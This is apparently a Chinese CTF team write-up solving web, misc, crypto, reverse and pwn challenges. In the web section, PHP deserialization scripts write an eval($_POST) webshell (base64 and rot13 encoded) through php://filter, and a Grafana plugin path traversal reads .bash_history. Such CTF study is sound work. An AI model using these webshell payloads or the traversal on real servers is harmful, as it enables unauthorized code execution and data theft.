天权信安catf1ag网络安全联合公开赛-AGCTFS战队 wp

news2024/9/29 13:29:11

文章目录

  • web
    • POP
    • Ezlogin
    • Fileupload
    • History
  • MISC
    • 简单隐写
    • 十位马
  • Crypto
    • Easyrsa
    • 疑惑
  • Reverse
    • Checkin
  • Pwn
    • Checkin
    • Angr

web

POP

脚本

<?php 
class catf1ag1{ 
    public $hzy; 
    public $arr; 
    public function __construct()
    {
     $this->hzy = new catf1ag2;
     $this->arr = [&apos;pputut&apos;];
    }
}

class catf1ag2{ 
    public $file;
    public $txt = &apos;&apos;;
        public function __construct(){
         $this->file=&apos;php://filter/convert.base64-decode/resource=5.php&apos;;
         $this->txt=&apos;PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=&apos;;
    }
} 

echo base64_encode(serialize(new catf1ag1));

然后连蚁剑

image-20221217185339828

Ezlogin

查看robots.txt

在这里插入图片描述image-20221217185413907
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3这一字符串经由两次base64解码与hex得到index.php

按照此种方法对source.php加密
在这里插入图片描述

但是改完又跳回index.php,发现多了一个surprise,最后就猜测出来/surprise/source.php

image-20221217185437351

脚本:

<?php

class A{
    public $hello;
    public function __construct(){
        $this->hello = new B;
    }
}
class B{ 
    public $file;
    public $text;
    public function __construct($file=&apos;&apos;,$text=&apos;&apos;) {
        $this -> file = &apos;php://filter/write=string.rot13/resource=2.php&apos;;
        $this -> text = &apos;<?cuc riny($_CBFG[n]);&apos;;
        
    }
}

echo urlencode(serialize(new A));

传入之后访问2.php,命令执行

image-20221217185516110

image-20221217185521932

Fileupload

image-20221217185549365

发现include/f1ag_1s_n0t_here.php,访问后发现是文件上传点。

image-20221217185559973

简单绕过后上传文件,猜测前边需要有时间戳,在uploads中发现了上传后的文件。

image-20221217185614627

History

猜测到是查看命令历史。

/public/plugins/gettingstarted/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/home/grafana/.bash_history

image-20221217185632536

知道了flag名称及位置,访问即可。

image-20221217185641652

MISC

简单隐写

将图片放入010查看有rar文件头,在rar文件中有flag.txt,所以将后缀名改为rar

发现flag被加密,使用工具Jphswin提取出图片中的信息找到password

image-20221217185701363

image-20221217185706057

凯撒解密得到最终flag。

image-20221217185715591

十位马

image-20221217185732188

看文件头为04034B50 而zip文件头为504B0304编写脚本

运行一次后将数据放入010hex区然后再运行一次得到文件f重复之前操作得到zip

image-20221217185755389

使用montage工具拼接得到
在这里插入图片描述

添加二维码定位扫码得flag

image-20221217185822473

Crypto

Easyrsa

网上找到了原题,替换数据后,脚本直接用:

import gmpy2
import Crypto.Util.number
import sympy
d= 12344766091434434733173074189627377553017680360356962089159282442350343171988536143126785315325155784049041041740294461592715296364871912847202681353107182427067350160760722505537695351060872358780516757652343767211907987297081728669843916949983336698385141593880433674937737932158161117039734886760063825649623992179585362400642056715249145349214196969590250787495038347519927017407204272334005860911299915001920451629055970214564924913446260348649062607855669069184216149660211811217616624622378241195643396616228441026080441013816066477785035557421235574948446455413760957154157952685181318232685147981777529010093
c= 11665709552346194520404644475693304343544277312139717618599619856028953672850971126750357095315011211770308088484683204061365343120233905810281045824420833988717463919084545209896116273241788366262798828075566212041893949256528106615605492953529332060374278942243879658004499423676775019309335825331748319484916607746676069594715000075912334306124627379144493327297854542488373589404460931325101587726363963663368593838684601095345900109519178235587636259017532403848656471367893974805399463278536349688131608183835495334912159111202418065161491440462011639125641718883550113983387585871212805400726591849356527011578
e = 0x10001
# 有 c d e 我们知道e*d %([p-1)*(q-1)]= 1 则e*d-1 = k* (p-1)*(q-1)
# 可以爆破k要得到(p-1)(q-1)
#取k的范围 ed - 1是2063到2064位 、 (p-1)(q-1)是1024+1024位 则k取2**15~2**16 
for i in range(1000,3000):
    if e*d-1 > 2**i and e*d-1<2**(i+1):
        print(i)
        break
        #2063
# (e*d-1)对k的模为0
# 我们还知道q是p的下一个素数 俩者大小相差不大  
for k in range(2**15,2**16):
    if (e*d-1) % k==0:
        p = sympy.prevprime(gmpy2.iroot((e*d-1)//k,2)[0])    
        #通过sympy.prevprime(n)得到小于n的最大素数 
        #gmpy2.iroot开方函数输出的是一个元组
        q = gmpy2.next_prime(p)
        # print(q)
        # print(p)
        if (e*d-1)//k == (q-1)*(p-1):
            #验证pq是否正确
            break
n = q * p
m = pow(c ,d ,n )
print(Crypto.Util.number.long_to_bytes(m))

image-20221217185917346

疑惑

x=’welcome_to_nine-ak_match_is_so_easy_!@!’ y=[20, 4, 24, 5, 94, 12, 2, 36 ,26, 6, 49, 11, 68, 15, 14, 114, 12, 10, 43, 14, 9 ,43 ,10, 27, 31, 31, 22, 45, 10, 48, 58, 4 ,18, 10, 38, 31, 14, 97, 92]
flag=’’
for i in range(len(x)):
    flag+=chr(ord(x[i])^y[i])
print(flag)

image-20221217185955567

Reverse

Checkin

先查壳

image-20221217190024393

32位upx

Upx -d 报错

image-20221217190032709

使用工具upxf之后再尝试脱壳

image-20221217190040379

脱壳成功

image-20221217190059078

题目描述位crackme且为32bit故推测位动调

image-20221217190107602

动调获取关键数据后编写python脚本

img
运行后得flag
在这里插入图片描述

Pwn

Checkin

用ida64打开分析代码

image-20221217190207794

需绕过atoi函数

编写脚本

img

image-20221217190250938

Angr

Ida分析代码

image-20221217190316650

依次发送0 , 2 进入system

image-20221217190325947

运行得flag

image-20221217190332477

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/96611.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据库实验二:安全性语言实验

实验二 安全性语言实验 实验 2.1 自主存取控制实验 1.实验目的 掌握自主存取控制权限的定义和维护方法。 2.实验内容和要求 定义用户、角色&#xff0c;分配权限给用户、角色&#xff0c;回收权限&#xff0c;以相应的用户名登录数据库验证权限分配是否正确。选择一个应用…

【GRU回归预测】基于matlab鲸鱼算法优化门控循环单元WOA-GRU神经网络回归预测(多输入单输出)【含Matlab源码 2285期】

⛄一、CNN-GRU数据预测 1 理论基础 1.1 CNN算法 负荷序列数据为一维数据&#xff0c;用一维卷积核对数据进行卷积处理&#xff0c;以获取数据的特征。 现设定卷积核的维度为3&#xff0c;移动步长为1&#xff0c;对输入数据进行卷积&#xff0c;以获得特征图图谱&#xff0c;即…

postgresql_internals-14 学习笔记(四)TOAST 超尺寸字段存储技术

TOAST之前一直没太弄懂&#xff0c;这一节单独拆出来学习。 一、 引入原因 pg中的每个行只能存在一个page里&#xff0c;不能跨page存储。因此对于一些非常长的行&#xff0c;就需要使用到 TOAST&#xff08;The OverSized Attribute Storage Technique&#xff0c;超尺寸字段存…

import sklearn出现报错,如何正确安装sklearn

目录 一&#xff1a;前言 二&#xff1a;解决方法 三&#xff1a;测试是否成功安装 一&#xff1a;前言 博主最早只使用下面安装命令&#xff0c;安装sklearn pip3 install sklearn -i https://pypi.mirrors.ustc.edu.cn/simple/ 但在pycharm编辑器&#xff0c;导入sklearn模…

更合理的 BBR

BBR 倾向于排空队列&#xff0c;甚至用特殊的 ProbeRTT 状态来排空自己产生的队列以测量 RTT&#xff0c;但这并不现实。一言以蔽之&#xff0c;BBR 无法实时跟踪现状&#xff0c;只靠拢理想。 若因背景流量造成 buffer 抖动&#xff0c;BBR 完全无法应对&#xff0c;其运行状…

手撕B树 | 二三查找树,B+树B*树你都会了吗? | 超详细的数据结构保姆级别实现

说在前面 今天给大家带来B树系列数据结构的讲解&#xff01; 博主为了这篇博客&#xff0c;做了很多准备&#xff0c;试了很多画图软件&#xff0c;就是为了让大家看得明白&#xff01;希望大家不要吝啬一键三连啊&#xff01;&#xff01; 前言 那么这里博主先安利一下一些…

C语言百日刷题第十六天

前言 今天是刷题第16天&#xff0c;放弃不难&#xff0c;但坚持一定很酷~ 五套C语言验报告题 C语言百日刷题第十六天前言试验报告&#xff08;一&#xff09;试验报告&#xff08;二&#xff09;分析功能编写程序试验报告&#xff08;三&#xff09;分析功能编写程序试验报…

自定义图表--随意拖拽拉伸功能的实现

随意拖拽、拉伸元素的功能是现在大热的自定义图表的重要组成功能,本文以最简单的视角搞懂随意拖拽、拉伸元素功能,完成这个功能需要先了解原生 drag && vue-ruler-tool && @smallwei/avue demo在线体验地址:zhao-wenchao110.gitee.io/customdrag 一、了解H…

高并发内存池

"花,就在火海里摇曳开着。" 一、技术介绍 (1)什么是池化技术&#xff1f; 池 是在计算机技术中经常使用的一种设计模式&#xff0c;其内涵在于&#xff1a;将程序中需要经常使用的核心资源先申请出来&#xff0c;放到一个池内,由程序自己管理。这样可以提高资源的使…

【单调栈】接雨水

文章目录双指针动态规划单调栈双指针 每一列雨水的高度&#xff0c;取决于该列 min(左侧最高的柱子高度&#xff0c;右侧最高的柱子高度) - 当前柱子高度 class Solution { public:int trap(vector<int>& height) {int n height.size();int ans 0;for(int i 1; …

ZY_BMP280大气压模块的使用和程序

在搞设计时&#xff0c;用到了大气压模块BMP280&#xff0c;这玩意也不难&#xff0c;主要是淘宝店老板特别der一问三不知&#xff0c;真服了&#xff0c;而且资料里面没有给例程&#xff0c;只有51的例程&#xff0c;利用IIC通信&#xff0c;而且给的例程里面&#xff0c;乱七…

数据库实验五:数据库设计实验

实验五 数据库设计实验 1.实验目的 ​ 掌握数据库设计基本方法及数据库设计工具。 2.实验内容和要求 ​ 掌握数据库设计基本步骤&#xff0c;包括数据库概念结构设计、逻辑结构设计&#xff0c;物理结构设计&#xff0c;数据库模式SQL语句生成。能够使用数据库设计工具进行…

ctf笔记:编码

常见编码 博客链接&#xff1a;https://www.blog.23day.site/articles/76 计算机中的数据都是按字节存储。一个字节(Byte)由8个二进制位组成(bit)。&#xff08;组成范围是0~255(28))一个字节一共可以用来表示256种不同的状态&#xff0c;每一个状态对应一个符号&#xff0c;就…

推荐系统学习笔记-隐语义模型

由来 该算法最早在文本挖掘领域被提出&#xff0c;用于找到文本的隐含语义。 核心思想是通过隐含特征(latent factor) 联系用户兴趣和物品。 参数 f&#xff1a;隐向量维度&#xff0c;决定隐向量表达能力强弱 n&#xff1a;用户数 m&#xff1a;物品数 求解方法&#xff1a;…

ADI Blackfin DSP处理器-BF533的开发详解57:DSP控制ADV7180采集图像到LCD显示(含源码)

硬件准备 ADSP-EDU-BF533&#xff1a;BF533开发板 AD-HP530ICE&#xff1a;ADI DSP仿真器 软件准备 Visual DSP软件 硬件链接 代码实现功能 代码实现了采集一帧 720625 尺寸的 P 制 CVBS 信号源&#xff0c;以 YUYV422 的数据格式保存&#xff0c;通过 MDMA 将奇偶场数据交…

【轻松掌握C语言】文件操作

目录 一、为什么使用文件&#xff1f; 二、什么是文件&#xff1f; 1、程序文件 2、数据文件 3、文件名 三、文件操作 1、文件指针 2、文件打开与关闭 . 3、文件的顺序读写 4、文件的随机读写 5、文本文件和二进制文件 6、文件读取结束判定 四、文件缓冲区 一、…

C++ Reference: Standard C++ Library reference: Containers: map: map: rbegin

C官网参考链接&#xff1a;https://cplusplus.com/reference/map/map/rbegin/ 公有成员函数 <map> std::map::rbegin C98 reverse_iterator rbegin(); const_reverse_iterator rbegin() const; C11 reverse_iterator rbegin() noexcept; const_reverse_iterator rbegin(…

这个大力神杯,梅西已足足等了16年,AI预测:阿根廷冠军

潘帕斯雄鹰和高卢雄鸡的决战&#xff0c;在三十多小时后即将上演。AI预测&#xff1a;胜率接近&#xff0c;阿根廷略高。 12月18日&#xff0c;卡塔尔世界杯总决赛将正式开战。 由卫冕军法国对上寻求队史第三冠的阿根廷&#xff0c;同时也是两位顶尖球星兼巴黎圣日耳曼队友梅…

LeetCode | 二叉树高频面试算法题汇总【速来】

小伙子&#xff0c;来给我✍棵树【LeetCode】144.二叉树的前序遍历C版本C语言版本&#xff08;递归算法展开图&#xff09;【LeetCode】94.二叉树的中序遍历C版本C语言版本【LeetCode】145.二叉树的后序遍历C版本C语言版本【LeetCode】102.二叉树的层序遍历DSF——深度优先搜索…

Linux 之centos7:一、Linux安装

Linux 之centos7 1.Linux简介 ​ Linux内核最初只是由芬兰人李纳斯托瓦兹&#xff08;Linus Torvalds&#xff09;在赫尔辛基大学上学时出于个人爱好而编写的。 ​ Linux是一套免费使用和自由传播的类Unix操作系统&#xff0c;是一个基于POSIX和UNIX的多用户、多任务、支持多…